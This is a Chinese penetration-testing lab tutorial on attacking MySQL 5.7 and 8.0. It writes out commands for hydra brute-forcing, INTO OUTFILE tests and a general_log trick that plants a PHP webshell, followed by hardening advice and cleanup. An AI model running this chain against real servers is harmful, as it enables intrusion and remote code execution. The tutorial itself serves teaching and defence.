云计算百科
云计算领域专业知识百科平台

渗透测试实战从靶场搭建到渗透流程——第 8 篇 · 服务型靶标(上):MySQL 双版本写文件链

目  录

一、靶标与接入:从爆破到连接

1.1 爆破与连接

二、INTO OUTFILE:被 secure_file_priv 拦住的第一条路

2.1 白名单内:成功

2.2 白名单外:1290 报错

三、general_log 写文件:绕过 secure_file_priv 的正解

3.1 8.0 对照:同样可行,管控在别处

四、版本差异与利用面总结

五、防御视角、验收与清场

5.1 修复建议

5.2 验收标准

5.3 清场

一、靶标与接入:从爆破到连接

服务型靶标的玩法与 Web 靶场不同:攻击入口从 HTTP 换成数据库协议,攻击面是「弱口令 + 服务端配置缺陷」。本篇靶标是第 1 篇部署的 MySQL 5.7.44(3307)与 8.0.46(3308),root/root 弱口令即切入点。

1.1 爆破与连接

# hydra 爆破(先确认账号存在:nmap -p3307 –script mysql-brute 快速摸底)

hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://10.10.10.240:3307 -t 8

# [3307][mysql] host: 10.10.10.240  login: root  password: root

# 连接:MySQL 8.0 必加 –skip-ssl(8.0 默认强制 TLS,旧客户端握手失败)

mysql -h10.10.10.240 -P3307 -uroot -proot –skip-ssl -e "select version();"

mysql -h10.10.10.240 -P3308 -uroot -proot –skip-ssl -e "select version();"

5.7 返回 5.7.44-log,8.0 返回 8.0.46。两个版本就是一组对照组:同一套写文件链,两边表现完全不同——这正是本篇要讲的攻防演化。

二、INTO OUTFILE:被 secure_file_priv 拦住的第一条路

经典写文件姿势是 SELECT … INTO OUTFILE,把查询结果落成服务器上的文件。先看变量约束:

mysql -h10.10.10.240 -P3307 -uroot -proot –skip-ssl -e "show variables like 'secure_file_priv';"

# 预期(实测,两个版本一致):

# Variable_name     Value

# secure_file_priv  /var/lib/mysql-files/

2.1 白名单内:成功

mysql -h10.10.10.240 -P3307 -uroot -proot –skip-ssl -e "select 'GL_MARK_OK' into outfile '/var/lib/mysql-files/gl.txt';"

docker exec mysql57 grep -c GL_MARK_OK /var/lib/mysql-files/gl.txt

# 1 → 写入成功。容器内验证,别只信 SQL 返回的 Query OK

2.2 白名单外:1290 报错

mysql -h10.10.10.240 -P3307 -uroot -proot –skip-ssl -e "select 'X' into outfile '/var/www/html/x.php';"

# 预期(实测):ERROR 1290 (HY000):

# The MySQL server is running with the –secure-file-priv option so it cannot execute this statement

1290 是本篇第一个关键学习点:secure_file_priv 从 MySQL 5.7.6 起默认指向专用目录,OUTFILE/LOAD_FILE 只能在该目录内活动——想把 webshell 写进 /var/www/html 直接撞墙。UDF 提权同理:它需要把 .so 写进 plugin_dir,而 plugin_dir 同样不在白名单内,写不进去,整条链在第一步就断(第 1 篇部署时用官方镜像默认配置,正是现实世界的主流形态)。

三、general_log 写文件:绕过 secure_file_priv 的正解

general_log(通用查询日志)的日志文件路径由 general_log_file 指定,而这两个变量不归 secure_file_priv 管。把日志文件指到 Web 目录、开日志,MySQL 就会把我们提交的 SQL 原文写进去——SQL 里带 PHP 代码,落盘即 webshell。

# 1) 开启日志并指向 Web 目录(以 5.7 为例)

mysql -h10.10.10.240 -P3307 -uroot -proot –skip-ssl -e "set global general_log_file='/var/lib/mysql/shell.php'; set global general_log=on;"

# 2) 写入带 PHP 代码的 SQL(日志原样记录)

mysql -h10.10.10.240 -P3307 -uroot -proot –skip-ssl -e "select '<?php echo \\"GL_LOG_OK_\\".shell_exec(\\$_GET[0]);?>';"

# 3) 容器内确认落盘内容

docker exec mysql57 grep -c GL_LOG_OK /var/lib/mysql/shell.php

# 1 → 成功

两个实操细节:① 路径按实际 Web 根调整,靶场 MySQL 官方镜像没有 Web 服务,演示时写 /var/lib/mysql/ 并用 docker exec grep 验证落盘即可,原理与写 /var/www/html 完全等价;② PHP 代码里的 $_GET 等符号在 SQL 单引号内原样保留,转义层数多了容易错,建议先在本地把 PHP 串写好、再用双引号包 SQL。

3.1 8.0 对照:同样可行,管控在别处

mysql -h10.10.10.240 -P3308 -uroot -proot –skip-ssl -e "set global general_log_file='/var/lib/mysql-files/s80.txt'; set global general_log=on; select 'M80_MARK';"

docker exec mysql80 grep -c M80_MARK /var/lib/mysql-files/s80.txt

# 1 → 8.0 同样打通。general_log 链两个版本都活着

为什么这条链没被堵:日志路径是 DBA 的合法运维配置(排障刚需),官方不能一刀切禁掉。它的防线转移到了别处——Web 与 MySQL 分离部署(数据库上根本没有 Web 目录)、应用账号不授 SUPER 权限、审计 general_log 的开启行为。攻防两端都值得记住这个「合法功能成为攻击面」的模式。

四、版本差异与利用面总结

对比项

MySQL 5.7.44

MySQL 8.0.46

连接

root/root,需 –skip-ssl(5.7.34+ 默认 TLS)

root/root,需 –skip-ssl

INTO OUTFILE

secure_file_priv=/var/lib/mysql-files/,白名单外报 1290

同左

UDF 提权

写 plugin_dir 被白名单拦截

同左

general_log 写文件

可用(核心考点)

可用(核心考点)

文件写入可控性

日志路径任意指定

日志路径任意指定

利用面排序(从弱口令开始):爆破 root → 探测 secure_file_priv → OUTFILE 白名单判定 → general_log 落文件 → 结合 Web 解析成 RCE。每一步都有明确的成败判据,不靠猜。

五、防御视角、验收与清场

5.1 修复建议

  • root 禁止远程登录(bind-address=127.0.0.1 + user 表 host 限制),杜绝弱口令爆破面。
  • secure_file_priv 设为专用目录(或 NULL),Web 目录绝不放入白名单。
  • 应用账号最小权限:只授业务库增删改查,绝不授 FILE/SUPER/global 变量修改权。
  • 监控 general_log 开关变更(审计 set global 语句),生产环境默认关闭。

5.2 验收标准

两个版本都能连接(含 –skip-ssl 细节);OUTFILE 白名单内成功、白名单外 1290(两个现象都要拿到);general_log 链在两个版本均通过容器内 grep 确认落盘。

5.3 清场

# 关日志、删文件——general_log 不关会持续写盘,属于「开了不关」的脏状态

mysql -h10.10.10.240 -P3307 -uroot -proot –skip-ssl -e "set global general_log=off;"

mysql -h10.10.10.240 -P3308 -uroot -proot –skip-ssl -e "set global general_log=off;"

docker exec mysql57 sh -c "rm -f /var/lib/mysql/shell.php /var/lib/mysql-files/gl.txt"

docker exec mysql80 sh -c "rm -f /var/lib/mysql-files/s80.txt"

# 终态确认:两台 general_log 都应为 OFF,落盘文件都应为 0

mysql -h10.10.10.240 -P3307 -uroot -proot –skip-ssl -N -e "show variables like 'general_log';" | grep -c OFF

下一篇继续服务型靶标:Redis 8.10.2 未授权访问。那里会看到一个更有教学价值的反面案例——三条经典 Redis RCE 链在新版上全部失效,而「主动出网」的验证思路依然可用。

赞(0)
未经允许不得转载:网硕互联帮助中心 » 渗透测试实战从靶场搭建到渗透流程——第 8 篇 · 服务型靶标(上):MySQL 双版本写文件链
分享到: 更多 (0)

评论 抢沙发

评论前必须登录!